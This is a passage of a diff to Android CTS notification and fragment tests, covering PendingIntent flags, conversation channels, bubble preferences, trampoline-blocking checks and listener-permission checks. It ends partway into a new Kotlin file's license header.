@@ -30,6 +30,8 @@
 
 import org.mockito.ArgumentCaptor;
 
+import java.util.concurrent.TimeUnit;
+
 /**
  * Tests Fragment's startActivityForResult and startIntentSenderForResult.
  */
@@ -55,7 +57,7 @@
         startActivityForResult(10, Activity.RESULT_OK, "content 10");
 
         ArgumentCaptor<Intent> captor = ArgumentCaptor.forClass(Intent.class);
-        verify(mFragment, times(1))
+        asyncVerifyOnce(mFragment)
                 .onActivityResult(eq(10), eq(Activity.RESULT_OK), captor.capture());
         final String data = captor.getValue()
                 .getStringExtra(FragmentResultActivity.EXTRA_RESULT_CONTENT);
@@ -67,7 +69,7 @@
         startActivityForResult(20, Activity.RESULT_CANCELED, "content 20");
 
         ArgumentCaptor<Intent> captor = ArgumentCaptor.forClass(Intent.class);
-        verify(mFragment, times(1))
+        asyncVerifyOnce(mFragment)
                 .onActivityResult(eq(20), eq(Activity.RESULT_CANCELED), captor.capture());
         final String data = captor.getValue()
                 .getStringExtra(FragmentResultActivity.EXTRA_RESULT_CONTENT);
@@ -79,7 +81,7 @@
         startIntentSenderForResult(30, Activity.RESULT_OK, "content 30");
 
         ArgumentCaptor<Intent> captor = ArgumentCaptor.forClass(Intent.class);
-        verify(mFragment, times(1))
+        asyncVerifyOnce(mFragment)
                 .onActivityResult(eq(30), eq(Activity.RESULT_OK), captor.capture());
         final String data = captor.getValue()
                 .getStringExtra(FragmentResultActivity.EXTRA_RESULT_CONTENT);
@@ -91,7 +93,7 @@
         startIntentSenderForResult(40, Activity.RESULT_CANCELED, "content 40");
 
         ArgumentCaptor<Intent> captor = ArgumentCaptor.forClass(Intent.class);
-        verify(mFragment, times(1))
+        asyncVerifyOnce(mFragment)
                 .onActivityResult(eq(40), eq(Activity.RESULT_CANCELED), captor.capture());
         final String data = captor.getValue()
                 .getStringExtra(FragmentResultActivity.EXTRA_RESULT_CONTENT);
@@ -130,6 +132,10 @@
         getInstrumentation().waitForIdleSync();
     }
 
+    private static <T> T asyncVerifyOnce(T mock) {
+        return verify(mock, timeout(TimeUnit.SECONDS.toMillis(10)).times(1));
+    }
+
     private void startIntentSenderForResult(final int requestCode, final int resultCode,
             final String content) {
         getInstrumentation().runOnMainSync(new Runnable() {
@@ -140,7 +146,7 @@
                 intent.putExtra(FragmentResultActivity.EXTRA_RESULT_CONTENT, content);
 
                 PendingIntent pendingIntent = PendingIntent.getActivity(mActivity,
-                        requestCode, intent, 0);
+                        requestCode, intent, PendingIntent.FLAG_IMMUTABLE);
 
                 try {
                     mFragment.startIntentSenderForResult(pendingIntent.getIntentSender(),
diff --git a/tests/app/src/android/app/cts/NotificationCarExtenderTest.java b/tests/app/src/android/app/cts/NotificationCarExtenderTest.java
index 20bf336..0345030 100644
--- a/tests/app/src/android/app/cts/NotificationCarExtenderTest.java
+++ b/tests/app/src/android/app/cts/NotificationCarExtenderTest.java
@@ -111,10 +111,10 @@
         final Intent testIntent = new Intent("testIntent");
         final PendingIntent testPendingIntent =
             PendingIntent.getBroadcast(mContext, 0, testIntent,
-            PendingIntent.FLAG_CANCEL_CURRENT);
+            PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         final PendingIntent testReplyPendingIntent =
             PendingIntent.getBroadcast(mContext, 0, testIntent,
-                PendingIntent.FLAG_UPDATE_CURRENT);
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         final RemoteInput testRemoteInput = new RemoteInput.Builder("key").build();
 
         final UnreadConversation testConversation =
diff --git a/tests/app/src/android/app/cts/NotificationChannelTest.java b/tests/app/src/android/app/cts/NotificationChannelTest.java
index bdbb0b7..c879337 100644
--- a/tests/app/src/android/app/cts/NotificationChannelTest.java
+++ b/tests/app/src/android/app/cts/NotificationChannelTest.java
@@ -65,6 +65,8 @@
         assertNull(channel.getConversationId());
         assertNull(channel.getParentChannelId());
         assertFalse(channel.isImportantConversation());
+        assertFalse(channel.isDemoted());
+        assertFalse(channel.isConversation());
     }
 
     public void testWriteToParcel() {
@@ -80,11 +82,13 @@
                         .build());
         channel.setLightColor(Color.RED);
         channel.setDeleted(true);
+        channel.setDeletedTimeMs(1000);
         channel.setFgServiceShown(true);
         channel.setVibrationPattern(new long[] {299, 4562});
         channel.setBlockable(true);
         channel.setConversationId("parent_channel", "conversation 1");
         channel.setImportantConversation(true);
+        channel.setDemoted(true);
         Parcel parcel = Parcel.obtain();
         channel.writeToParcel(parcel, 0);
         parcel.setDataPosition(0);
@@ -220,6 +224,7 @@
         assertEquals("parent", channel.getParentChannelId());
         assertEquals("conversation", channel.getConversationId());
         assertFalse(channel.isImportantConversation());
+        assertTrue(channel.isConversation());
 
         channel.setImportantConversation(true);
         assertTrue(channel.isImportantConversation());
@@ -231,4 +236,12 @@
 
         assertTrue(channel.hasUserSetSound());
     }
+
+    public void testIsDemoted() {
+        NotificationChannel channel = new NotificationChannel("a", "a", IMPORTANCE_DEFAULT);
+        channel.setConversationId("parent", "conversation with friend");
+        channel.setDemoted(true);
+
+        assertTrue(channel.isDemoted());
+    }
 }
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index cf579ce..926431f 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -17,6 +17,9 @@
 package android.app.cts;
 
 import static android.app.Notification.FLAG_BUBBLE;
+import static android.app.NotificationManager.BUBBLE_PREFERENCE_ALL;
+import static android.app.NotificationManager.BUBBLE_PREFERENCE_NONE;
+import static android.app.NotificationManager.BUBBLE_PREFERENCE_SELECTED;
 import static android.app.NotificationManager.IMPORTANCE_DEFAULT;
 import static android.app.NotificationManager.IMPORTANCE_HIGH;
 import static android.app.NotificationManager.IMPORTANCE_LOW;
@@ -45,6 +48,8 @@
 import static android.app.NotificationManager.Policy.SUPPRESSED_EFFECT_SCREEN_OFF;
 import static android.app.NotificationManager.Policy.SUPPRESSED_EFFECT_SCREEN_ON;
 import static android.app.NotificationManager.Policy.SUPPRESSED_EFFECT_STATUS_BAR;
+import static android.app.cts.android.app.cts.tools.NotificationHelper.MAX_WAIT_TIME;
+import static android.app.cts.android.app.cts.tools.NotificationHelper.SHORT_WAIT_TIME;
 import static android.app.stubs.BubblesTestService.EXTRA_TEST_CASE;
 import static android.app.stubs.BubblesTestService.TEST_CALL;
 import static android.app.stubs.BubblesTestService.TEST_MESSAGING;
@@ -54,6 +59,10 @@
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 import static android.content.pm.PackageManager.FEATURE_WATCH;
 
+import static org.hamcrest.CoreMatchers.hasItem;
+import static org.junit.Assert.assertThat;
+
+import android.Manifest;
 import android.app.ActivityManager;
 import android.app.AutomaticZenRule;
 import android.app.Instrumentation;
@@ -66,6 +75,8 @@
 import android.app.PendingIntent;
 import android.app.Person;
 import android.app.UiAutomation;
+import android.app.cts.android.app.cts.tools.FutureServiceConnection;
+import android.app.cts.android.app.cts.tools.NotificationHelper;
 import android.app.stubs.AutomaticZenRuleActivity;
 import android.app.stubs.BubbledActivity;
 import android.app.stubs.BubblesTestService;
@@ -81,6 +92,7 @@
 import android.content.IntentFilter;
 import android.content.OperationApplicationException;
 import android.content.ServiceConnection;
+import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
 import android.content.pm.ShortcutInfo;
 import android.content.pm.ShortcutManager;
@@ -94,7 +106,12 @@
 import android.net.Uri;
 import android.os.Build;
 import android.os.Bundle;
+import android.os.ConditionVariable;
+import android.os.Handler;
 import android.os.IBinder;
+import android.os.Looper;
+import android.os.Message;
+import android.os.Messenger;
 import android.os.ParcelFileDescriptor;
 import android.os.RemoteException;
 import android.os.SystemClock;
@@ -111,6 +128,7 @@
 import android.service.notification.StatusBarNotification;
 import android.service.notification.ZenPolicy;
 import android.test.AndroidTestCase;
+import android.util.ArrayMap;
 import android.util.ArraySet;
 import android.util.Log;
 import android.widget.RemoteViews;
@@ -153,12 +171,26 @@
     private static final String DELEGATOR = "com.android.test.notificationdelegator";
     private static final String DELEGATE_POST_CLASS = DELEGATOR + ".NotificationDelegateAndPost";
     private static final String REVOKE_CLASS = DELEGATOR + ".NotificationRevoker";
-    private static final long SHORT_WAIT_TIME = 100;
-    private static final long MAX_WAIT_TIME = 2000;
     private static final String SHARE_SHORTCUT_ID = "shareShortcut";
     private static final String SHARE_SHORTCUT_CATEGORY =
             "android.app.stubs.SHARE_SHORTCUT_CATEGORY";
 
+    private static final String TRAMPOLINE_APP =
+            "com.android.test.notificationtrampoline.current";
+    private static final String TRAMPOLINE_APP_API_30 =
+            "com.android.test.notificationtrampoline.api30";
+    private static final ComponentName TRAMPOLINE_SERVICE =
+            new ComponentName(TRAMPOLINE_APP,
+                    "com.android.test.notificationtrampoline.NotificationTrampolineTestService");
+    private static final ComponentName TRAMPOLINE_SERVICE_API_30 =
+            new ComponentName(TRAMPOLINE_APP_API_30,
+                    "com.android.test.notificationtrampoline.NotificationTrampolineTestService");
+
+    private static final long TIMEOUT_LONG_MS = 10000;
+    private static final long TIMEOUT_MS = 4000;
+    private static final int MESSAGE_BROADCAST_NOTIFICATION = 1;
+    private static final int MESSAGE_SERVICE_NOTIFICATION = 2;
+
     private PackageManager mPackageManager;
     private AudioManager mAudioManager;
     private NotificationManager mNotificationManager;
@@ -169,6 +201,8 @@
     private BroadcastReceiver mBubbleBroadcastReceiver;
     private boolean mBubblesEnabledSettingToRestore;
     private INotificationUriAccessService mNotificationUriAccessService;
+    private FutureServiceConnection mTrampolineConnection;
+    private NotificationHelper mNotificationHelper;
 
     @Override
     protected void setUp() throws Exception {
@@ -177,6 +211,7 @@
         mId = UUID.randomUUID().toString();
         mNotificationManager = (NotificationManager) mContext.getSystemService(
                 Context.NOTIFICATION_SERVICE);
+        mNotificationHelper = new NotificationHelper(mContext, () -> mListener);
         // clear the deck so that our getActiveNotifications results are predictable
         mNotificationManager.cancelAll();
 
@@ -247,6 +282,16 @@
 
         // Restore bubbles setting
         setBubblesGlobal(mBubblesEnabledSettingToRestore);
+
+        // For trampoline tests
+        if (mTrampolineConnection != null) {
+            mContext.unbindService(mTrampolineConnection);
+            mTrampolineConnection = null;
+        }
+        if (mListener != null) {
+            mListener.removeTestPackage(TRAMPOLINE_APP_API_30);
+            mListener.removeTestPackage(TRAMPOLINE_APP);
+        }
     }
 
     private void assertNotificationCancelled(int id, boolean all) {
@@ -343,43 +388,20 @@
     }
 
     private StatusBarNotification findPostedNotification(int id, boolean all) {
-        // notification is a bit asynchronous so it may take a few ms to appear in
-        // getActiveNotifications()
-        // we will check for it for up to 1000ms before giving up
-        for (long totalWait = 0; totalWait < MAX_WAIT_TIME; totalWait += SHORT_WAIT_TIME) {
-            StatusBarNotification n = findNotificationNoWait(id, all);
-            if (n != null) {
-                return n;
-            }
-            try {
-                Thread.sleep(SHORT_WAIT_TIME);
-            } catch (InterruptedException ex) {
-                // pass
-            }
-        }
-        return findNotificationNoWait(id, all);
+        return mNotificationHelper.findPostedNotification(id, all);
     }
 
     private StatusBarNotification findNotificationNoWait(int id, boolean all) {
-        for (StatusBarNotification sbn : getActiveNotifications(all)) {
-            if (sbn.getId() == id) {
-                return sbn;
-            }
-        }
-        return null;
+        return mNotificationHelper.findNotificationNoWait(id, all);
     }
 
     private StatusBarNotification[] getActiveNotifications(boolean all) {
-        if (all) {
-            return mListener.getActiveNotifications();
-        } else {
-            return mNotificationManager.getActiveNotifications();
-        }
+        return mNotificationHelper.getActiveNotifications(all);
     }
 
     private PendingIntent getPendingIntent() {
         return PendingIntent.getActivity(
-                getContext(), 0, new Intent(getContext(), this.getClass()), 0);
+                getContext(), 0, new Intent(getContext(), this.getClass()), PendingIntent.FLAG_MUTABLE_UNAUDITED);
     }
 
     private boolean isGroupSummary(Notification n) {
@@ -458,7 +480,8 @@
                 | Intent.FLAG_ACTIVITY_CLEAR_TOP);
         intent.setAction(Intent.ACTION_MAIN);
 
-        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent,
+                PendingIntent.FLAG_MUTABLE);
         final Notification notification =
                 new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
                         .setSmallIcon(icon)
@@ -479,8 +502,8 @@
         try {
             toggleListenerAccess(true);
             mListener = TestNotificationListener.getInstance();
-            mListener.resetData();
             assertNotNull(mListener);
+            mListener.resetData();
         } catch (IOException e) {
         }
     }
@@ -494,7 +517,7 @@
         intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_SINGLE_TOP
                 | Intent.FLAG_ACTIVITY_CLEAR_TOP);
         intent.setAction(Intent.ACTION_MAIN);
-        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         if (data == null) {
             data = new Notification.BubbleMetadata.Builder(pendingIntent,
@@ -616,6 +639,7 @@
         assertEquals(expected.getGroup(), actual.getGroup());
         assertEquals(expected.getConversationId(), actual.getConversationId());
         assertEquals(expected.getParentChannelId(), actual.getParentChannelId());
+        assertEquals(expected.isDemoted(), actual.isDemoted());
     }
 
     private void toggleNotificationPolicyAccess(String packageName,
@@ -641,12 +665,16 @@
     }
 
     private void toggleListenerAccess(boolean on) throws IOException {
+        toggleListenerAccess(mContext, on);
+    }
+
+    public static void toggleListenerAccess(Context context, boolean on) throws IOException {
         String command = " cmd notification " + (on ? "allow_listener " : "disallow_listener ")
                 + TestNotificationListener.getId();
 
         runCommand(command, InstrumentationRegistry.getInstrumentation());
 
-        final NotificationManager nm = mContext.getSystemService(NotificationManager.class);
+        final NotificationManager nm = context.getSystemService(NotificationManager.class);
         final ComponentName listenerComponent = TestNotificationListener.getComponentName();
         assertEquals(listenerComponent + " has incorrect listener access",
                 on, nm.isNotificationListenerAccessGranted(listenerComponent));
@@ -689,7 +717,8 @@
     }
 
     @SuppressWarnings("StatementWithEmptyBody")
-    private void runCommand(String command, Instrumentation instrumentation) throws IOException {
+    private static void runCommand(String command, Instrumentation instrumentation)
+            throws IOException {
         UiAutomation uiAutomation = instrumentation.getUiAutomation();
         // Execute command
         try (ParcelFileDescriptor fd = uiAutomation.executeShellCommand(command)) {
@@ -759,7 +788,7 @@
 
         Set<String> categorySet = new ArraySet<>();
         categorySet.add(SHARE_SHORTCUT_CATEGORY);
-        Intent shortcutIntent = new Intent(mContext, SendBubbleActivity.class);
+        Intent shortcutIntent = new Intent(mContext, BubbledActivity.class);
         shortcutIntent.setAction(Intent.ACTION_VIEW);
 
         ShortcutInfo shortcut = new ShortcutInfo.Builder(mContext, SHARE_SHORTCUT_ID)
@@ -860,6 +889,19 @@
         mContext.unregisterReceiver(mBubbleBroadcastReceiver);
     }
 
+    private void sendTrampolineMessage(ComponentName component, int message,
+            int notificationId, Handler callback) throws Exception {
+        if (mTrampolineConnection == null) {
+            Intent intent = new Intent();
+            intent.setComponent(component);
+            mTrampolineConnection = new FutureServiceConnection();
+            assertTrue(
+                    mContext.bindService(intent, mTrampolineConnection, Context.BIND_AUTO_CREATE));
+        }
+        Messenger service = new Messenger(mTrampolineConnection.get(TIMEOUT_MS));
+        service.send(Message.obtain(null, message, notificationId, -1, new Messenger(callback)));
+    }
+
     public void testConsolidatedNotificationPolicy() throws Exception {
         final int originalFilter = mNotificationManager.getCurrentInterruptionFilter();
         Policy origPolicy = mNotificationManager.getNotificationPolicy();
@@ -1965,7 +2007,8 @@
                                 .bigPicture(Bitmap.createBitmap(100, 100, Bitmap.Config.RGB_565))
                                 .bigLargeIcon(
                                         Icon.createWithResource(getContext(), R.drawable.icon_blue))
-                                .setSummaryText("summary"))
+                                .setSummaryText("summary")
+                                .bigPictureContentDescription("content description"))
                         .build();
         mNotificationManager.notify(id, notification);
 
@@ -2100,7 +2143,7 @@
             mNotificationManager.setInterruptionFilter(INTERRUPTION_FILTER_PRIORITY);
 
             // delay for streams to get into correct mute states
-            Thread.sleep(50);
+            Thread.sleep(1000);
             assertTrue("Music (media) stream should be muted",
                     mAudioManager.isStreamMute(AudioManager.STREAM_MUSIC));
             assertTrue("System stream should be muted",
@@ -2143,7 +2186,7 @@
             mNotificationManager.setInterruptionFilter(INTERRUPTION_FILTER_PRIORITY);
 
             // delay for streams to get into correct mute states
-            Thread.sleep(50);
+            Thread.sleep(1000);
             assertFalse("Music (media) stream should not be muted",
                     mAudioManager.isStreamMute(AudioManager.STREAM_MUSIC));
             assertTrue("System stream should be muted",
@@ -2602,20 +2645,35 @@
     }
 
     public void testAreBubblesAllowed_appNone() throws Exception {
-        setBubblesAppPref(0 /* none */);
+        setBubblesAppPref(BUBBLE_PREFERENCE_NONE);
         assertFalse(mNotificationManager.areBubblesAllowed());
     }
 
     public void testAreBubblesAllowed_appSelected() throws Exception {
-        setBubblesAppPref(2 /* selected */);
+        setBubblesAppPref(BUBBLE_PREFERENCE_SELECTED);
         assertFalse(mNotificationManager.areBubblesAllowed());
     }
 
     public void testAreBubblesAllowed_appAll() throws Exception {
-        setBubblesAppPref(1 /* all */);
+        setBubblesAppPref(BUBBLE_PREFERENCE_ALL);
         assertTrue(mNotificationManager.areBubblesAllowed());
     }
 
+    public void testGetBubblePreference_appNone() throws Exception {
+        setBubblesAppPref(BUBBLE_PREFERENCE_NONE);
+        assertEquals(BUBBLE_PREFERENCE_NONE, mNotificationManager.getBubblePreference());
+    }
+
+    public void testGetBubblePreference_appSelected() throws Exception {
+        setBubblesAppPref(BUBBLE_PREFERENCE_SELECTED);
+        assertEquals(BUBBLE_PREFERENCE_SELECTED, mNotificationManager.getBubblePreference());
+    }
+
+    public void testGetBubblePreference_appAll() throws Exception {
+        setBubblesAppPref(BUBBLE_PREFERENCE_ALL);
+        assertEquals(BUBBLE_PREFERENCE_ALL, mNotificationManager.getBubblePreference());
+    }
+
     public void testNotificationIcon() {
         int id = 6000;
 
@@ -2862,8 +2920,6 @@
         }
     }
 
-    ;
-
     public void testNotificationUriPermissionsRevokedOnlyFromRemovedListeners() throws Exception {
         Uri background7Uri = Uri.parse(
                 "content://com.android.test.notificationprovider.provider/background7.png");
@@ -3577,9 +3633,88 @@
         }
     }
 
+    public void testNotificationManagerBubble_checkIsBubbled_pendingIntent()
+            throws Exception {
+        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()
+                || mActivityManager.isLowRamDevice()) {
+            // These do not support bubbles.
+            return;
+        }
+        try {
+            setBubblesGlobal(true);
+            setBubblesAppPref(1 /* all */);
+            setBubblesChannelAllowed(true);
+
+            createDynamicShortcut();
+            setUpNotifListener();
+
+            // make ourselves foreground so we can auto-expand the bubble
+            SendBubbleActivity a = startSendBubbleActivity();
+
+            // Prep to find bubbled activity
+            Class clazz = BubbledActivity.class;
+            Instrumentation.ActivityResult result =
+                    new Instrumentation.ActivityResult(0, new Intent());
+            Instrumentation.ActivityMonitor monitor =
+                    new Instrumentation.ActivityMonitor(clazz.getName(), result, false);
+            InstrumentationRegistry.getInstrumentation().addMonitor(monitor);
+
+            a.sendBubble(true /* autoExpand */, false /* suppressNotif */);
+
+            verifyNotificationBubbleState(BUBBLE_NOTIF_ID, true /* shouldBeBubble */);
+
+            InstrumentationRegistry.getInstrumentation().waitForIdleSync();
+
+            BubbledActivity activity = (BubbledActivity) monitor.waitForActivity();
+            assertTrue(activity.isBubbled());
+        } finally {
+            deleteShortcuts();
+            cleanupSendBubbleActivity();
+        }
+    }
+
+    public void testNotificationManagerBubble_checkIsBubbled_shortcut()
+            throws Exception {
+        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()
+                || mActivityManager.isLowRamDevice()) {
+            // These do not support bubbles.
+            return;
+        }
+        try {
+            setBubblesGlobal(true);
+            setBubblesAppPref(1 /* all */);
+            setBubblesChannelAllowed(true);
+
+            createDynamicShortcut();
+            setUpNotifListener();
+
+            // make ourselves foreground so we can auto-expand the bubble
+            SendBubbleActivity a = startSendBubbleActivity();
+
+            // Prep to find bubbled activity
+            Class clazz = BubbledActivity.class;
+            Instrumentation.ActivityResult result =
+                    new Instrumentation.ActivityResult(0, new Intent());
+            Instrumentation.ActivityMonitor monitor =
+                    new Instrumentation.ActivityMonitor(clazz.getName(), result, false);
+            InstrumentationRegistry.getInstrumentation().addMonitor(monitor);
+
+            a.sendBubble(true /* autoExpand */, false /* suppressNotif */, true /* useShortcut */);
+
+            verifyNotificationBubbleState(BUBBLE_NOTIF_ID, true /* shouldBeBubble */);
+
+            InstrumentationRegistry.getInstrumentation().waitForIdleSync();
+
+            BubbledActivity activity = (BubbledActivity) monitor.waitForActivity();
+            assertTrue(activity.isBubbled());
+        } finally {
+            deleteShortcuts();
+            cleanupSendBubbleActivity();
+        }
+    }
+
     public void testOriginalChannelImportance() {
-        NotificationChannel channel = new NotificationChannel(
-                "my channel", "my channel", IMPORTANCE_HIGH);
+        NotificationChannel channel = new NotificationChannel(mId, "my channel", IMPORTANCE_HIGH);
 
         mNotificationManager.createNotificationChannel(channel);
 
@@ -3614,4 +3749,225 @@
         compareChannels(conversationChannel,
                 mNotificationManager.getNotificationChannel(channel.getId(), conversationId));
     }
+
+    public void testConversationRankingFields() throws Exception {
+        toggleListenerAccess(true);
+        Thread.sleep(500); // wait for listener to be allowed
+
+        mListener = TestNotificationListener.getInstance();
+        assertNotNull(mListener);
+
+        createDynamicShortcut();
+        mNotificationManager.notify(177, getConversationNotification().build());
+
+        if (!checkNotificationExistence(177, /*shouldExist=*/ true)) {
+            fail("couldn't find posted notification id=" + 177);
+        }
+        Thread.sleep(500); // wait for notification listener to receive notification
+        assertEquals(1, mListener.mPosted.size());
+
+        NotificationListenerService.RankingMap rankingMap = mListener.mRankingMap;
+        NotificationListenerService.Ranking outRanking = new NotificationListenerService.Ranking();
+        for (String key : rankingMap.getOrderedKeys()) {
+            if (key.contains(mListener.getPackageName())) {
+                rankingMap.getRanking(key, outRanking);
+                assertTrue(outRanking.isConversation());
+                assertEquals(SHARE_SHORTCUT_ID, outRanking.getConversationShortcutInfo().getId());
+            }
+        }
+    }
+
+    public void testDemoteConversationChannel() {
+        final NotificationChannel channel =
+                new NotificationChannel(mId, "Messages", IMPORTANCE_DEFAULT);
+
+        String conversationId = "person a";
+
+        final NotificationChannel conversationChannel =
+                new NotificationChannel(mId + "child",
+                        "Messages from " + conversationId, IMPORTANCE_DEFAULT);
+        conversationChannel.setConversationId(channel.getId(), conversationId);
+
+        mNotificationManager.createNotificationChannel(channel);
+        mNotificationManager.createNotificationChannel(conversationChannel);
+
+        conversationChannel.setDemoted(true);
+
+        SystemUtil.runWithShellPermissionIdentity(() ->
+                mNotificationManager.updateNotificationChannel(
+                        mContext.getPackageName(), android.os.Process.myUid(), channel));
+
+        assertEquals(false, mNotificationManager.getNotificationChannel(
+                channel.getId(), conversationId).isDemoted());
+    }
+
+    public void testDeleteConversationChannels() throws Exception {
+        setUpNotifListener();
+
+        createDynamicShortcut();
+
+        final NotificationChannel channel =
+                new NotificationChannel(mId, "Messages", IMPORTANCE_DEFAULT);
+
+        final NotificationChannel conversationChannel =
+                new NotificationChannel(mId + "child",
+                        "Messages from " + SHARE_SHORTCUT_ID, IMPORTANCE_DEFAULT);
+        conversationChannel.setConversationId(channel.getId(), SHARE_SHORTCUT_ID);
+
+        mNotificationManager.createNotificationChannel(channel);
+        mNotificationManager.createNotificationChannel(conversationChannel);
+
+        mNotificationManager.notify(177, getConversationNotification().build());
+
+        if (!checkNotificationExistence(177, /*shouldExist=*/ true)) {
+            fail("couldn't find posted notification id=" + 177);
+        }
+        Thread.sleep(500); // wait for notification listener to receive notification
+        assertEquals(1, mListener.mPosted.size());
+
+        deleteShortcuts();
+
+        Thread.sleep(300); // wait for deletion to propagate
+
+        assertFalse(mNotificationManager.getNotificationChannel(channel.getId(),
+                conversationChannel.getConversationId()).isConversation());
+
+    }
+
+    public void testActivityStartOnBroadcastTrampoline_isBlocked() throws Exception {
+        setUpNotifListener();
+        mListener.addTestPackage(TRAMPOLINE_APP);
+        EventCallback callback = new EventCallback();
+        int notificationId = 6001;
+
+        // Post notification and fire its pending intent
+        sendTrampolineMessage(TRAMPOLINE_SERVICE, MESSAGE_BROADCAST_NOTIFICATION, notificationId,
+                callback);
+        StatusBarNotification statusBarNotification = findPostedNotification(notificationId, true);
+        assertNotNull("Notification not posted on time", statusBarNotification);
+        statusBarNotification.getNotification().contentIntent.send();
+
+        assertTrue("Broadcast not received on time",
+                callback.waitFor(EventCallback.BROADCAST_RECEIVED, TIMEOUT_LONG_MS));
+        assertFalse("Activity start should have been blocked",
+                callback.waitFor(EventCallback.ACTIVITY_STARTED, TIMEOUT_MS));
+    }
+
+    public void testActivityStartOnServiceTrampoline_isBlocked() throws Exception {
+        setUpNotifListener();
+        mListener.addTestPackage(TRAMPOLINE_APP);
+        EventCallback callback = new EventCallback();
+        int notificationId = 6002;
+
+        // Post notification and fire its pending intent
+        sendTrampolineMessage(TRAMPOLINE_SERVICE, MESSAGE_SERVICE_NOTIFICATION, notificationId,
+                callback);
+        StatusBarNotification statusBarNotification = findPostedNotification(notificationId, true);
+        assertNotNull("Notification not posted on time", statusBarNotification);
+        statusBarNotification.getNotification().contentIntent.send();
+
+        assertTrue("Service not started on time",
+                callback.waitFor(EventCallback.SERVICE_STARTED, TIMEOUT_MS));
+        assertFalse("Activity start should have been blocked",
+                callback.waitFor(EventCallback.ACTIVITY_STARTED, TIMEOUT_MS));
+    }
+
+    public void testActivityStartOnBroadcastTrampoline_whenApi30_isAllowed() throws Exception {
+        setUpNotifListener();
+        mListener.addTestPackage(TRAMPOLINE_APP_API_30);
+        EventCallback callback = new EventCallback();
+        int notificationId = 6003;
+
+        // Post notification and fire its pending intent
+        sendTrampolineMessage(TRAMPOLINE_SERVICE_API_30, MESSAGE_BROADCAST_NOTIFICATION,
+                notificationId, callback);
+        StatusBarNotification statusBarNotification = findPostedNotification(notificationId, true);
+        assertNotNull("Notification not posted on time", statusBarNotification);
+        statusBarNotification.getNotification().contentIntent.send();
+
+        assertTrue("Broadcast not received on time",
+                callback.waitFor(EventCallback.BROADCAST_RECEIVED, TIMEOUT_LONG_MS));
+        assertTrue("Activity not started",
+                callback.waitFor(EventCallback.ACTIVITY_STARTED, TIMEOUT_MS));
+    }
+
+    public void testActivityStartOnServiceTrampoline_whenApi30_isAllowed() throws Exception {
+        setUpNotifListener();
+        mListener.addTestPackage(TRAMPOLINE_APP_API_30);
+        EventCallback callback = new EventCallback();
+        int notificationId = 6004;
+
+        // Post notification and fire its pending intent
+        sendTrampolineMessage(TRAMPOLINE_SERVICE_API_30, MESSAGE_SERVICE_NOTIFICATION,
+                notificationId, callback);
+        StatusBarNotification statusBarNotification = findPostedNotification(notificationId, true);
+        assertNotNull("Notification not posted on time", statusBarNotification);
+        statusBarNotification.getNotification().contentIntent.send();
+
+        assertTrue("Service not started on time",
+                callback.waitFor(EventCallback.SERVICE_STARTED, TIMEOUT_MS));
+        assertTrue("Activity not started",
+                callback.waitFor(EventCallback.ACTIVITY_STARTED, TIMEOUT_MS));
+    }
+
+    public void testGrantRevokeNotificationManagerApis_works() {
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            ComponentName componentName = TestNotificationListener.getComponentName();
+            mNotificationManager.setNotificationListenerAccessGranted(
+                    componentName, true, true);
+
+            assertThat(
+                    mNotificationManager.getEnabledNotificationListeners(),
+                    hasItem(componentName));
+
+            mNotificationManager.setNotificationListenerAccessGranted(
+                    componentName, false, false);
+
+            assertThat(
+                    "Non-user-set changes should not override user-set",
+                    mNotificationManager.getEnabledNotificationListeners(),
+                    hasItem(componentName));
+        });
+    }
+
+    public void testGrantRevokeNotificationManagerApis_exclusiveToPermissionController() {
+        List<PackageInfo> allPackages = mPackageManager.getInstalledPackages(
+                PackageManager.MATCH_DISABLED_COMPONENTS
+                        | PackageManager.MATCH_DISABLED_UNTIL_USED_COMPONENTS);
+        List<String> allowedPackages = Arrays.asList(
+                mPackageManager.getPermissionControllerPackageName(),
+                "com.android.shell");
+        for (PackageInfo pkg : allPackages) {
+            if (!pkg.applicationInfo.isSystemApp()
+                    && mPackageManager.checkPermission(
+                            Manifest.permission.MANAGE_NOTIFICATION_LISTENERS, pkg.packageName)
+                            == PackageManager.PERMISSION_GRANTED
+                    && !allowedPackages.contains(pkg.packageName)) {
+                fail(pkg.packageName + " can't hold "
+                        + Manifest.permission.MANAGE_NOTIFICATION_LISTENERS);
+            }
+        }
+    }
+
+    private static class EventCallback extends Handler {
+        private static final int BROADCAST_RECEIVED = 1;
+        private static final int SERVICE_STARTED = 2;
+        private static final int ACTIVITY_STARTED = 3;
+
+        private final Map<Integer, ConditionVariable> mEvents =
+                Collections.synchronizedMap(new ArrayMap<>());
+
+        private EventCallback() {
+            super(Looper.getMainLooper());
+        }
+
+        @Override
+        public void handleMessage(Message message) {
+            mEvents.computeIfAbsent(message.what, e -> new ConditionVariable()).open();
+        }
+
+        public boolean waitFor(int event, long timeoutMs) {
+            return mEvents.computeIfAbsent(event, e -> new ConditionVariable()).block(timeoutMs);
+        }
+    }
 }
diff --git a/tests/app/src/android/app/cts/NotificationTemplateTest.kt b/tests/app/src/android/app/cts/NotificationTemplateTest.kt
new file mode 100644
index 0000000..3628ff6
--- /dev/null
+++ b/tests/app/src/android/app/cts/NotificationTemplateTest.kt
@@ -0,0 +1,480 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
